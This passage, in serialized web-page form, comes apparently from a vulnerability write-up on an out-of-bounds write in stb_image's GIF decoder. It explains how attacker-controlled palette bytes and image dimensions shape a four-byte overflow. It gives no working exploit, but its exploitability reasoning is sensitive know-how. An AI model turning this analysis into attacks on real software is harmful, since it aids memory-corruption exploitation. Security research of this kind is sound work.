71},{"style":356},[154972],{"type":29,"value":284},{"type":24,"tag":327,"props":154974,"children":154975},{"style":346},[154976],{"type":29,"value":852},{"type":24,"tag":327,"props":154978,"children":154979},{"class":329,"line":367},[154980],{"type":24,"tag":327,"props":154981,"children":154982},{"style":346},[154983],{"type":29,"value":18427},{"type":24,"tag":327,"props":154985,"children":154986},{"class":329,"line":408},[154987],{"type":24,"tag":327,"props":154988,"children":154989},{"style":346},[154990],{"type":29,"value":154636},{"type":24,"tag":327,"props":154992,"children":154993},{"class":329,"line":421},[154994],{"type":24,"tag":327,"props":154995,"children":154996},{"emptyLinePlaceholder":16},[154997],{"type":29,"value":544},{"type":24,"tag":327,"props":154999,"children":155000},{"class":329,"line":450},[155001,155005,155009,155013,155017,155021,155025,155029,155033,155037],{"type":24,"tag":327,"props":155002,"children":155003},{"style":346},[155004],{"type":29,"value":154712},{"type":24,"tag":327,"props":155006,"children":155007},{"style":381},[155008],{"type":29,"value":384},{"type":24,"tag":327,"props":155010,"children":155011},{"style":356},[155012],{"type":29,"value":154676},{"type":24,"tag":327,"props":155014,"children":155015},{"style":346},[155016],{"type":29,"value":1679},{"type":24,"tag":327,"props":155018,"children":155019},{"style":356},[155020],{"type":29,"value":154729},{"type":24,"tag":327,"props":155022,"children":155023},{"style":381},[155024],{"type":29,"value":4407},{"type":24,"tag":327,"props":155026,"children":155027},{"style":356},[155028],{"type":29,"value":154676},{"type":24,"tag":327,"props":155030,"children":155031},{"style":346},[155032],{"type":29,"value":1679},{"type":24,"tag":327,"props":155034,"children":155035},{"style":356},[155036],{"type":29,"value":154667},{"type":24,"tag":327,"props":155038,"children":155039},{"style":346},[155040],{"type":29,"value":154750},{"type":24,"tag":327,"props":155042,"children":155043},{"class":329,"line":481},[155044,155048,155052,155056,155060,155064,155068],{"type":24,"tag":327,"props":155045,"children":155046},{"style":346},[155047],{"type":29,"value":154758},{"type":24,"tag":327,"props":155049,"children":155050},{"style":381},[155051],{"type":29,"value":384},{"type":24,"tag":327,"props":155053,"children":155054},{"style":381},[155055],{"type":29,"value":14704},{"type":24,"tag":327,"props":155057,"children":155058},{"style":356},[155059],{"type":29,"value":116025},{"type":24,"tag":327,"props":155061,"children":155062},{"style":346},[155063],{"type":29,"value":1679},{"type":24,"tag":327,"props":155065,"children":155066},{"style":356},[155067],{"type":29,"value":125448},{"type":24,"tag":327,"props":155069,"children":155070},{"style":346},[155071],{"type":29,"value":154783},{"type":24,"tag":327,"props":155073,"children":155074},{"class":329,"line":500},[155075,155079,155083,155087,155091,155095,155099,155103,155107,155111],{"type":24,"tag":327,"props":155076,"children":155077},{"style":356},[155078],{"type":29,"value":154791},{"type":24,"tag":327,"props":155080,"children":155081},{"style":346},[155082],{"type":29,"value":1679},{"type":24,"tag":327,"props":155084,"children":155085},{"style":356},[155086],{"type":29,"value":154800},{"type":24,"tag":327,"props":155088,"children":155089},{"style":346},[155090],{"type":29,"value":154805},{"type":24,"tag":327,"props":155092,"children":155093},{"style":381},[155094],{"type":29,"value":2899},{"type":24,"tag":327,"props":155096,"children":155097},{"style":397},[155098],{"type":29,"value":19292},{"type":24,"tag":327,"props":155100,"children":155101},{"style":346},[155102],{"type":29,"value":16221},{"type":24,"tag":327,"props":155104,"children":155105},{"style":381},[155106],{"type":29,"value":384},{"type":24,"tag":327,"props":155108,"children":155109},{"style":397},[155110],{"type":29,"value":522},{"type":24,"tag":327,"props":155112,"children":155113},{"style":346},[155114],{"type":29,"value":155115},";  \n",{"type":24,"tag":327,"props":155117,"children":155118},{"class":329,"line":529},[155119],{"type":24,"tag":327,"props":155120,"children":155121},{"emptyLinePlaceholder":16},[155122],{"type":29,"value":544},{"type":24,"tag":327,"props":155124,"children":155125},{"class":329,"line":538},[155126,155131,155135,155139,155143,155147,155152,155156,155160,155164,155169,155174,155179,155183,155187],{"type":24,"tag":327,"props":155127,"children":155128},{"style":346},[155129],{"type":29,"value":155130},"   c ",{"type":24,"tag":327,"props":155132,"children":155133},{"style":381},[155134],{"type":29,"value":384},{"type":24,"tag":327,"props":155136,"children":155137},{"style":381},[155138],{"type":29,"value":14704},{"type":24,"tag":327,"props":155140,"children":155141},{"style":356},[155142],{"type":29,"value":116025},{"type":24,"tag":327,"props":155144,"children":155145},{"style":346},[155146],{"type":29,"value":1679},{"type":24,"tag":327,"props":155148,"children":155149},{"style":356},[155150],{"type":29,"value":155151},"color_table",{"type":24,"tag":327,"props":155153,"children":155154},{"style":346},[155155],{"type":29,"value":11329},{"type":24,"tag":327,"props":155157,"children":155158},{"style":356},[155159],{"type":29,"value":116025},{"type":24,"tag":327,"props":155161,"children":155162},{"style":346},[155163],{"type":29,"value":1679},{"type":24,"tag":327,"props":155165,"children":155166},{"style":356},[155167],{"type":29,"value":155168},"codes",{"type":24,"tag":327,"props":155170,"children":155171},{"style":346},[155172],{"type":29,"value":155173},"[code].",{"type":24,"tag":327,"props":155175,"children":155176},{"style":356},[155177],{"type":29,"value":155178},"suffix",{"type":24,"tag":327,"props":155180,"children":155181},{"style":381},[155182],{"type":29,"value":17364},{"type":24,"tag":327,"props":155184,"children":155185},{"style":397},[155186],{"type":29,"value":19292},{"type":24,"tag":327,"props":155188,"children":155189},{"style":346},[155190],{"type":29,"value":38284},{"type":24,"tag":327,"props":155192,"children":155193},{"class":329,"line":547},[155194,155198,155202,155206,155210,155214,155218,155222,155227],{"type":24,"tag":327,"props":155195,"children":155196},{"style":425},[155197],{"type":29,"value":59365},{"type":24,"tag":327,"props":155199,"children":155200},{"style":346},[155201],{"type":29,"value":5894},{"type":24,"tag":327,"props":155203,"children":155204},{"style":356},[155205],{"type":29,"value":320},{"type":24,"tag":327,"props":155207,"children":155208},{"style":346},[155209],{"type":29,"value":11329},{"type":24,"tag":327,"props":155211,"children":155212},{"style":397},[155213],{"type":29,"value":24805},{"type":24,"tag":327,"props":155215,"children":155216},{"style":346},[155217],{"type":29,"value":16221},{"type":24,"tag":327,"props":155219,"children":155220},{"style":381},[155221],{"type":29,"value":438},{"type":24,"tag":327,"props":155223,"children":155224},{"style":397},[155225],{"type":29,"value":155226}," 128",{"type":24,"tag":327,"props":155228,"children":155229},{"style":346},[155230],{"type":29,"value":364},{"type":24,"tag":327,"props":155232,"children":155233},{"class":329,"line":557},[155234,155239,155243,155247,155251,155255,155259,155263,155267,155271],{"type":24,"tag":327,"props":155235,"children":155236},{"style":356},[155237],{"type":29,"value":155238},"      p",{"type":24,"tag":327,"props":155240,"children":155241},{"style":346},[155242],{"type":29,"value":11329},{"type":24,"tag":327,"props":155244,"children":155245},{"style":397},[155246],{"type":29,"value":2988},{"type":24,"tag":327,"props":155248,"children":155249},{"style":346},[155250],{"type":29,"value":16221},{"type":24,"tag":327,"props":155252,"children":155253},{"style":381},[155254],{"type":29,"value":384},{"type":24,"tag":327,"props":155256,"children":155257},{"style":356},[155258],{"type":29,"value":44158},{"type":24,"tag":327,"props":155260,"children":155261},{"style":346},[155262],{"type":29,"value":11329},{"type":24,"tag":327,"props":155264,"children":155265},{"style":397},[155266],{"type":29,"value":10731},{"type":24,"tag":327,"props":155268,"children":155269},{"style":346},[155270],{"type":29,"value":62633},{"type":24,"tag":327,"props":155272,"children":155273},{"style":551},[155274],{"type":29,"value":155275},"        // OOB write\n",{"type":24,"tag":327,"props":155277,"children":155278},{"class":329,"line":586},[155279,155283,155287,155291,155295,155299,155303,155307,155311],{"type":24,"tag":327,"props":155280,"children":155281},{"style":356},[155282],{"type":29,"value":155238},{"type":24,"tag":327,"props":155284,"children":155285},{"style":346},[155286],{"type":29,"value":11329},{"type":24,"tag":327,"props":155288,"children":155289},{"style":397},[155290],{"type":29,"value":3238},{"type":24,"tag":327,"props":155292,"children":155293},{"style":346},[155294],{"type":29,"value":16221},{"type":24,"tag":327,"props":155296,"children":155297},{"style":381},[155298],{"type":29,"value":384},{"type":24,"tag":327,"props":155300,"children":155301},{"style":356},[155302],{"type":29,"value":44158},{"type":24,"tag":327,"props":155304,"children":155305},{"style":346},[155306],{"type":29,"value":11329},{"type":24,"tag":327,"props":155308,"children":155309},{"style":397},[155310],{"type":29,"value":3238},{"type":24,"tag":327,"props":155312,"children":155313},{"style":346},[155314],{"type":29,"value":38284},{"type":24,"tag":327,"props":155316,"children":155317},{"class":329,"line":1017},[155318,155322,155326,155330,155334,155338,155342,155346,155350],{"type":24,"tag":327,"props":155319,"children":155320},{"style":356},[155321],{"type":29,"value":155238},{"type":24,"tag":327,"props":155323,"children":155324},{"style":346},[155325],{"type":29,"value":11329},{"type":24,"tag":327,"props":155327,"children":155328},{"style":397},[155329],{"type":29,"value":10731},{"type":24,"tag":327,"props":155331,"children":155332},{"style":346},[155333],{"type":29,"value":16221},{"type":24,"tag":327,"props":155335,"children":155336},{"style":381},[155337],{"type":29,"value":384},{"type":24,"tag":327,"props":155339,"children":155340},{"style":356},[155341],{"type":29,"value":44158},{"type":24,"tag":327,"props":155343,"children":155344},{"style":346},[155345],{"type":29,"value":11329},{"type":24,"tag":327,"props":155347,"children":155348},{"style":397},[155349],{"type":29,"value":2988},{"type":24,"tag":327,"props":155351,"children":155352},{"style":346},[155353],{"type":29,"value":38284},{"type":24,"tag":327,"props":155355,"children":155356},{"class":329,"line":1026},[155357,155361,155365,155369,155373,155377,155381,155385,155389],{"type":24,"tag":327,"props":155358,"children":155359},{"style":356},[155360],{"type":29,"value":155238},{"type":24,"tag":327,"props":155362,"children":155363},{"style":346},[155364],{"type":29,"value":11329},{"type":24,"tag":327,"props":155366,"children":155367},{"style":397},[155368],{"type":29,"value":24805},{"type":24,"tag":327,"props":155370,"children":155371},{"style":346},[155372],{"type":29,"value":16221},{"type":24,"tag":327,"props":155374,"children":155375},{"style":381},[155376],{"type":29,"value":384},{"type":24,"tag":327,"props":155378,"children":155379},{"style":356},[155380],{"type":29,"value":44158},{"type":24,"tag":327,"props":155382,"children":155383},{"style":346},[155384],{"type":29,"value":11329},{"type":24,"tag":327,"props":155386,"children":155387},{"style":397},[155388],{"type":29,"value":24805},{"type":24,"tag":327,"props":155390,"children":155391},{"style":346},[155392],{"type":29,"value":38284},{"type":24,"tag":327,"props":155394,"children":155395},{"class":329,"line":1048},[155396],{"type":24,"tag":327,"props":155397,"children":155398},{"style":346},[155399],{"type":29,"value":41460},{"type":24,"tag":25,"props":155401,"children":155402},{},[155403,155405,155410,155412,155417],{"type":29,"value":155404},"This confirms ",{"type":24,"tag":284,"props":155406,"children":155408},{"className":155407},[],[155409],{"type":29,"value":83244},{"type":29,"value":155411}," is OOB for ",{"type":24,"tag":284,"props":155413,"children":155415},{"className":155414},[],[155416],{"type":29,"value":154895},{"type":29,"value":155418}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":24,"tag":25,"props":155420,"children":155421},{},[155422,155424,155430,155432,155439],{"type":29,"value":155423},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":24,"tag":284,"props":155425,"children":155427},{"className":155426},[],[155428],{"type":29,"value":155429},"g->color_table",{"type":29,"value":155431}," is populated by ",{"type":24,"tag":57,"props":155433,"children":155436},{"href":155434,"rel":155435},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[61],[155437],{"type":29,"value":155438},"stbi__gif_parse_colortable",{"type":29,"value":1636},{"type":24,"tag":317,"props":155441,"children":155443},{"code":155442,"language":320,"meta":7,"className":321,"style":7},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[155444],{"type":24,"tag":284,"props":155445,"children":155446},{"__ignoreMap":7},[155447,155467,155487,155526,155542,155554,155561,155572,155615,155649,155680,155711,155768,155775],{"type":24,"tag":327,"props":155448,"children":155449},{"class":329,"line":330},[155450,155454,155458,155463],{"type":24,"tag":327,"props":155451,"children":155452},{"style":334},[155453],{"type":29,"value":57765},{"type":24,"tag":327,"props":155455,"children":155456},{"style":334},[155457],{"type":29,"value":57770},{"type":24,"tag":327,"props":155459,"children":155460},{"style":340},[155461],{"type":29,"value":155462}," stbi__gif_parse_colortable",{"type":24,"tag":327,"props":155464,"children":155465},{"style":346},[155466],{"type":29,"value":4663},{"type":24,"tag":327,"props":155468,"children":155469},{"class":329,"line":367},[155470,155475,155479,155483],{"type":24,"tag":327,"props":155471,"children":155472},{"style":346},[155473],{"type":29,"value":155474},"    stbi__context ",{"type":24,"tag":327,"props":155476,"children":155477},{"style":381},[155478],{"type":29,"value":469},{"type":24,"tag":327,"props":155480,"children":155481},{"style":356},[155482],{"type":29,"value":18198},{"type":24,"tag":327,"props":155484,"children":155485},{"style":346},[155486],{"type":29,"value":2231},{"type":24,"tag":327,"props":155488,"children":155489},{"class":329,"line":408},[155490,155495,155500,155504,155508,155512,155516,155521],{"type":24,"tag":327,"props":155491,"children":155492},{"style":346},[155493],{"type":29,"value":155494},"    stbi_uc ",{"type":24,"tag":327,"props":155496,"children":155497},{"style":356},[155498],{"type":29,"value":155499},"pal",{"type":24,"tag":327,"props":155501,"children":155502},{"style":346},[155503],{"type":29,"value":11329},{"type":24,"tag":327,"props":155505,"children":155506},{"style":397},[155507],{"type":29,"value":100022},{"type":24,"tag":327,"props":155509,"children":155510},{"style":346},[155511],{"type":29,"value":55678},{"type":24,"tag":327,"props":155513,"children":155514},{"style":397},[155515],{"type":29,"value":25038},{"type":24,"tag":327,"props":155517,"children":155518},{"style":346},[155519],{"type":29,"value":155520},"],",{"type":24,"tag":327,"props":155522,"children":155523},{"style":551},[155524],{"type":29,"value":155525},"    // g->color_table\n",{"type":24,"tag":327,"props":155527,"children":155528},{"class":329,"line":421},[155529,155533,155538],{"type":24,"tag":327,"props":155530,"children":155531},{"style":334},[155532],{"type":29,"value":373},{"type":24,"tag":327,"props":155534,"children":155535},{"style":356},[155536],{"type":29,"value":155537}," num_entries",{"type":24,"tag":327,"props":155539,"children":155540},{"style":346},[155541],{"type":29,"value":2231},{"type":24,"tag":327,"props":155543,"children":155544},{"class":329,"line":450},[155545,155549],{"type":24,"tag":327,"props":155546,"children":155547},{"style":334},[155548],{"type":29,"value":373},{"type":24,"tag":327,"props":155550,"children":155551},{"style":346},[155552],{"type":29,"value":155553}," transp\n",{"type":24,"tag":327,"props":155555,"children":155556},{"class":329,"line":481},[155557],{"type":24,"tag":327,"props":155558,"children":155559},{"style":346},[155560],{"type":29,"value":364},{"type":24,"tag":327,"props":155562,"children":155563},{"class":329,"line":500},[155564,155568],{"type":24,"tag":327,"props":155565,"children":155566},{"style":334},[155567],{"type":29,"value":154616},{"type":24,"tag":327,"props":155569,"children":155570},{"style":346},[155571],{"type":29,"value":64686},{"type":24,"tag":327,"props":155573,"children":155574},{"class":329,"line":529},[155575,155580,155585,155589,155593,155597,155601,155606,155610],{"type":24,"tag":327,"props":155576,"children":155577},{"style":425},[155578],{"type":29,"value":155579},"   for",{"type":24,"tag":327,"props":155581,"children":155582},{"style":346},[155583],{"type":29,"value":155584}," (i",{"type":24,"tag":327,"props":155586,"children":155587},{"style":381},[155588],{"type":29,"value":384},{"type":24,"tag":327,"props":155590,"children":155591},{"style":397},[155592],{"type":29,"value":2988},{"type":24,"tag":327,"props":155594,"children":155595},{"style":346},[155596],{"type":29,"value":57954},{"type":24,"tag":327,"props":155598,"children":155599},{"style":381},[155600],{"type":29,"value":1596},{"type":24,"tag":327,"props":155602,"children":155603},{"style":346},[155604],{"type":29,"value":155605}," num_entries; ",{"type":24,"tag":327,"props":155607,"children":155608},{"style":381},[155609],{"type":29,"value":57990},{"type":24,"tag":327,"props":155611,"children":155612},{"style":346},[155613],{"type":29,"value":155614},"i) {\n",{"type":24,"tag":327,"props":155616,"children":155617},{"class":329,"line":538},[155618,155623,155627,155631,155635,155639,155644],{"type":24,"tag":327,"props":155619,"children":155620},{"style":356},[155621],{"type":29,"value":155622},"      pal",{"type":24,"tag":327,"props":155624,"children":155625},{"style":346},[155626],{"type":29,"value":67377},{"type":24,"tag":327,"props":155628,"children":155629},{"style":397},[155630],{"type":29,"value":10731},{"type":24,"tag":327,"props":155632,"children":155633},{"style":346},[155634],{"type":29,"value":16221},{"type":24,"tag":327,"props":155636,"children":155637},{"style":381},[155638],{"type":29,"value":384},{"type":24,"tag":327,"props":155640,"children":155641},{"style":340},[155642],{"type":29,"value":155643}," stbi__get8",{"type":24,"tag":327,"props":155645,"children":155646},{"style":346},[155647],{"type":29,"value":155648},"(s);\n",{"type":24,"tag":327,"props":155650,"children":155651},{"class":329,"line":547},[155652,155656,155660,155664,155668,155672,155676],{"type":24,"tag":327,"props":155653,"children":155654},{"style":356},[155655],{"type":29,"value":155622},{"type":24,"tag":327,"props":155657,"children":155658},{"style":346},[155659],{"type":29,"value":67377},{"type":24,"tag":327,"props":155661,"children":155662},{"style":397},[155663],{"type":29,"value":3238},{"type":24,"tag":327,"props":155665,"children":155666},{"style":346},[155667],{"type":29,"value":16221},{"type":24,"tag":327,"props":155669,"children":155670},{"style":381},[155671],{"type":29,"value":384},{"type":24,"tag":327,"props":155673,"children":155674},{"style":340},[155675],{"type":29,"value":155643},{"type":24,"tag":327,"props":155677,"children":155678},{"style":346},[155679],{"type":29,"value":155648},{"type":24,"tag":327,"props":155681,"children":155682},{"class":329,"line":557},[155683,155687,155691,155695,155699,155703,155707],{"type":24,"tag":327,"props":155684,"children":155685},{"style":356},[155686],{"type":29,"value":155622},{"type":24,"tag":327,"props":155688,"children":155689},{"style":346},[155690],{"type":29,"value":67377},{"type":24,"tag":327,"props":155692,"children":155693},{"style":397},[155694],{"type":29,"value":2988},{"type":24,"tag":327,"props":155696,"children":155697},{"style":346},[155698],{"type":29,"value":16221},{"type":24,"tag":327,"props":155700,"children":155701},{"style":381},[155702],{"type":29,"value":384},{"type":24,"tag":327,"props":155704,"children":155705},{"style":340},[155706],{"type":29,"value":155643},{"type":24,"tag":327,"props":155708,"children":155709},{"style":346},[155710],{"type":29,"value":155648},{"type":24,"tag":327,"props":155712,"children":155713},{"class":329,"line":586},[155714,155718,155722,155726,155730,155734,155739,155743,155747,155751,155755,155759,155764],{"type":24,"tag":327,"props":155715,"children":155716},{"style":356},[155717],{"type":29,"value":155622},{"type":24,"tag":327,"props":155719,"children":155720},{"style":346},[155721],{"type":29,"value":67377},{"type":24,"tag":327,"props":155723,"children":155724},{"style":397},[155725],{"type":29,"value":24805},{"type":24,"tag":327,"props":155727,"children":155728},{"style":346},[155729],{"type":29,"value":16221},{"type":24,"tag":327,"props":155731,"children":155732},{"style":381},[155733],{"type":29,"value":384},{"type":24,"tag":327,"props":155735,"children":155736},{"style":346},[155737],{"type":29,"value":155738}," transp ",{"type":24,"tag":327,"props":155740,"children":155741},{"style":381},[155742],{"type":29,"value":642},{"type":24,"tag":327,"props":155744,"children":155745},{"style":346},[155746],{"type":29,"value":61265},{"type":24,"tag":327,"props":155748,"children":155749},{"style":381},[155750],{"type":29,"value":7437},{"type":24,"tag":327,"props":155752,"children":155753},{"style":397},[155754],{"type":29,"value":6695},{"type":24,"tag":327,"props":155756,"children":155757},{"style":381},[155758],{"type":29,"value":41828},{"type":24,"tag":327,"props":155760,"children":155761},{"style":397},[155762],{"type":29,"value":155763}," 255",{"type":24,"tag":327,"props":155765,"children":155766},{"style":346},[155767],{"type":29,"value":405},{"type":24,"tag":327,"props":155769,"children":155770},{"class":329,"line":1017},[155771],{"type":24,"tag":327,"props":155772,"children":155773},{"style":346},[155774],{"type":29,"value":41460},{"type":24,"tag":327,"props":155776,"children":155777},{"class":329,"line":1026},[155778],{"type":24,"tag":327,"props":155779,"children":155780},{"style":346},[155781],{"type":29,"value":592},{"type":24,"tag":25,"props":155783,"children":155784},{},[155785,155787,155792,155793,155798,155800,155805],{"type":29,"value":155786},"The first three bytes are read from the input image, while the last byte can be either ",{"type":24,"tag":284,"props":155788,"children":155790},{"className":155789},[],[155791],{"type":29,"value":2988},{"type":29,"value":1503},{"type":24,"tag":284,"props":155794,"children":155796},{"className":155795},[],[155797],{"type":29,"value":120070},{"type":29,"value":155799},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":24,"tag":284,"props":155801,"children":155803},{"className":155802},[],[155804],{"type":29,"value":36556},{"type":29,"value":1636},{"type":24,"tag":317,"props":155807,"children":155809},{"code":155808,"language":320,"meta":7,"className":321,"style":7},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[155810],{"type":24,"tag":284,"props":155811,"children":155812},{"__ignoreMap":7},[155813,155876,155915,155954,155993,156032,156071],{"type":24,"tag":327,"props":155814,"children":155815},{"class":329,"line":330},[155816,155820,155824,155828,155832,155836,155840,155844,155848,155852,155856,155860,155864,155868,155872],{"type":24,"tag":327,"props":155817,"children":155818},{"style":346},[155819],{"type":29,"value":155130},{"type":24,"tag":327,"props":155821,"children":155822},{"style":381},[155823],{"type":29,"value":384},{"type":24,"tag":327,"props":155825,"children":155826},{"style":381},[155827],{"type":29,"value":14704},{"type":24,"tag":327,"props":155829,"children":155830},{"style":346},[155831],{"type":29,"value":116025},{"type":24,"tag":327,"props":155833,"children":155834},{"style":381},[155835],{"type":29,"value":1679},{"type":24,"tag":327,"props":155837,"children":155838},{"style":356},[155839],{"type":29,"value":155151},{"type":24,"tag":327,"props":155841,"children":155842},{"style":346},[155843],{"type":29,"value":11329},{"type":24,"tag":327,"props":155845,"children":155846},{"style":356},[155847],{"type":29,"value":116025},{"type":24,"tag":327,"props":155849,"children":155850},{"style":346},[155851],{"type":29,"value":1679},{"type":24,"tag":327,"props":155853,"children":155854},{"style":356},[155855],{"type":29,"value":155168},{"type":24,"tag":327,"props":155857,"children":155858},{"style":346},[155859],{"type":29,"value":155173},{"type":24,"tag":327,"props":155861,"children":155862},{"style":356},[155863],{"type":29,"value":155178},{"type":24,"tag":327,"props":155865,"children":155866},{"style":381},[155867],{"type":29,"value":17364},{"type":24,"tag":327,"props":155869,"children":155870},{"style":397},[155871],{"type":29,"value":19292},{"type":24,"tag":327,"props":155873,"children":155874},{"style":346},[155875],{"type":29,"value":38284},{"type":24,"tag":327,"props":155877,"children":155878},{"class":329,"line":367},[155879,155883,155887,155891,155895,155899,155903,155907,155911],{"type":24,"tag":327,"props":155880,"children":155881},{"style":425},[155882],{"type":29,"value":59365},{"type":24,"tag":327,"props":155884,"children":155885},{"style":346},[155886],{"type":29,"value":5894},{"type":24,"tag":327,"props":155888,"children":155889},{"style":356},[155890],{"type":29,"value":320},{"type":24,"tag":327,"props":155892,"children":155893},{"style":346},[155894],{"type":29,"value":11329},{"type":24,"tag":327,"props":155896,"children":155897},{"style":397},[155898],{"type":29,"value":24805},{"type":24,"tag":327,"props":155900,"children":155901},{"style":346},[155902],{"type":29,"value":16221},{"type":24,"tag":327,"props":155904,"children":155905},{"style":381},[155906],{"type":29,"value":438},{"type":24,"tag":327,"props":155908,"children":155909},{"style":397},[155910],{"type":29,"value":155226},{"type":24,"tag":327,"props":155912,"children":155913},{"style":346},[155914],{"type":29,"value":364},{"type":24,"tag":327,"props":155916,"children":155917},{"class":329,"line":408},[155918,155922,155926,155930,155934,155938,155942,155946,155950],{"type":24,"tag":327,"props":155919,"children":155920},{"style":356},[155921],{"type":29,"value":155238},{"type":24,"tag":327,"props":155923,"children":155924},{"style":346},[155925],{"type":29,"value":11329},{"type":24,"tag":327,"props":155927,"children":155928},{"style":397},[155929],{"type":29,"value":2988},{"type":24,"tag":327,"props":155931,"children":155932},{"style":346},[155933],{"type":29,"value":16221},{"type":24,"tag":327,"props":155935,"children":155936},{"style":381},[155937],{"type":29,"value":384},{"type":24,"tag":327,"props":155939,"children":155940},{"style":356},[155941],{"type":29,"value":44158},{"type":24,"tag":327,"props":155943,"children":155944},{"style":346},[155945],{"type":29,"value":11329},{"type":24,"tag":327,"props":155947,"children":155948},{"style":397},[155949],{"type":29,"value":10731},{"type":24,"tag":327,"props":155951,"children":155952},{"style":346},[155953],{"type":29,"value":38284},{"type":24,"tag":327,"props":155955,"children":155956},{"class":329,"line":421},[155957,155961,155965,155969,155973,155977,155981,155985,155989],{"type":24,"tag":327,"props":155958,"children":155959},{"style":356},[155960],{"type":29,"value":155238},{"type":24,"tag":327,"props":155962,"children":155963},{"style":346},[155964],{"type":29,"value":11329},{"type":24,"tag":327,"props":155966,"children":155967},{"style":397},[155968],{"type":29,"value":3238},{"type":24,"tag":327,"props":155970,"children":155971},{"style":346},[155972],{"type":29,"value":16221},{"type":24,"tag":327,"props":155974,"children":155975},{"style":381},[155976],{"type":29,"value":384},{"type":24,"tag":327,"props":155978,"children":155979},{"style":356},[155980],{"type":29,"value":44158},{"type":24,"tag":327,"props":155982,"children":155983},{"style":346},[155984],{"type":29,"value":11329},{"type":24,"tag":327,"props":155986,"children":155987},{"style":397},[155988],{"type":29,"value":3238},{"type":24,"tag":327,"props":155990,"children":155991},{"style":346},[155992],{"type":29,"value":38284},{"type":24,"tag":327,"props":155994,"children":155995},{"class":329,"line":450},[155996,156000,156004,156008,156012,156016,156020,156024,156028],{"type":24,"tag":327,"props":155997,"children":155998},{"style":356},[155999],{"type":29,"value":155238},{"type":24,"tag":327,"props":156001,"children":156002},{"style":346},[156003],{"type":29,"value":11329},{"type":24,"tag":327,"props":156005,"children":156006},{"style":397},[156007],{"type":29,"value":10731},{"type":24,"tag":327,"props":156009,"children":156010},{"style":346},[156011],{"type":29,"value":16221},{"type":24,"tag":327,"props":156013,"children":156014},{"style":381},[156015],{"type":29,"value":384},{"type":24,"tag":327,"props":156017,"children":156018},{"style":356},[156019],{"type":29,"value":44158},{"type":24,"tag":327,"props":156021,"children":156022},{"style":346},[156023],{"type":29,"value":11329},{"type":24,"tag":327,"props":156025,"children":156026},{"style":397},[156027],{"type":29,"value":2988},{"type":24,"tag":327,"props":156029,"children":156030},{"style":346},[156031],{"type":29,"value":38284},{"type":24,"tag":327,"props":156033,"children":156034},{"class":329,"line":481},[156035,156039,156043,156047,156051,156055,156059,156063,156067],{"type":24,"tag":327,"props":156036,"children":156037},{"style":356},[156038],{"type":29,"value":155238},{"type":24,"tag":327,"props":156040,"children":156041},{"style":346},[156042],{"type":29,"value":11329},{"type":24,"tag":327,"props":156044,"children":156045},{"style":397},[156046],{"type":29,"value":24805},{"type":24,"tag":327,"props":156048,"children":156049},{"style":346},[156050],{"type":29,"value":16221},{"type":24,"tag":327,"props":156052,"children":156053},{"style":381},[156054],{"type":29,"value":384},{"type":24,"tag":327,"props":156056,"children":156057},{"style":356},[156058],{"type":29,"value":44158},{"type":24,"tag":327,"props":156060,"children":156061},{"style":346},[156062],{"type":29,"value":11329},{"type":24,"tag":327,"props":156064,"children":156065},{"style":397},[156066],{"type":29,"value":24805},{"type":24,"tag":327,"props":156068,"children":156069},{"style":346},[156070],{"type":29,"value":38284},{"type":24,"tag":327,"props":156072,"children":156073},{"class":329,"line":500},[156074],{"type":24,"tag":327,"props":156075,"children":156076},{"style":346},[156077],{"type":29,"value":41460},{"type":24,"tag":25,"props":156079,"children":156080},{},[156081,156082,156087,156089,156094,156096,156101],{"type":29,"value":5462},{"type":24,"tag":284,"props":156083,"children":156085},{"className":156084},[],[156086],{"type":29,"value":155438},{"type":29,"value":156088}," has to set the last byte to ",{"type":24,"tag":284,"props":156090,"children":156092},{"className":156091},[],[156093],{"type":29,"value":120070},{"type":29,"value":156095}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":24,"tag":284,"props":156097,"children":156099},{"className":156098},[],[156100],{"type":29,"value":120070},{"type":29,"value":66},{"type":24,"tag":25,"props":156103,"children":156104},{},[156105,156107,156112,156114,156120,156121,156127],{"type":29,"value":156106},"In the code we can see that size of the ",{"type":24,"tag":284,"props":156108,"children":156110},{"className":156109},[],[156111],{"type":29,"value":154895},{"type":29,"value":156113}," allocation is controlled through ",{"type":24,"tag":284,"props":156115,"children":156117},{"className":156116},[],[156118],{"type":29,"value":156119},"g->w",{"type":29,"value":1323},{"type":24,"tag":284,"props":156122,"children":156124},{"className":156123},[],[156125],{"type":29,"value":156126},"g->h",{"type":29,"value":156128}," values, both of which are read from the input file itself:",{"type":24,"tag":317,"props":156130,"children":156132},{"code":156131,"language":320,"meta":7,"className":321,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[156133],{"type":24,"tag":284,"props":156134,"children":156135},{"__ignoreMap":7},[156136,156161,156168,156175,156210,156256],{"type":24,"tag":327,"props":156137,"children":156138},{"class":329,"line":330},[156139,156143,156148,156152,156156],{"type":24,"tag":327,"props":156140,"children":156141},{"style":334},[156142],{"type":29,"value":57765},{"type":24,"tag":327,"props":156144,"children":156145},{"style":346},[156146],{"type":29,"value":156147}," stbi_uc 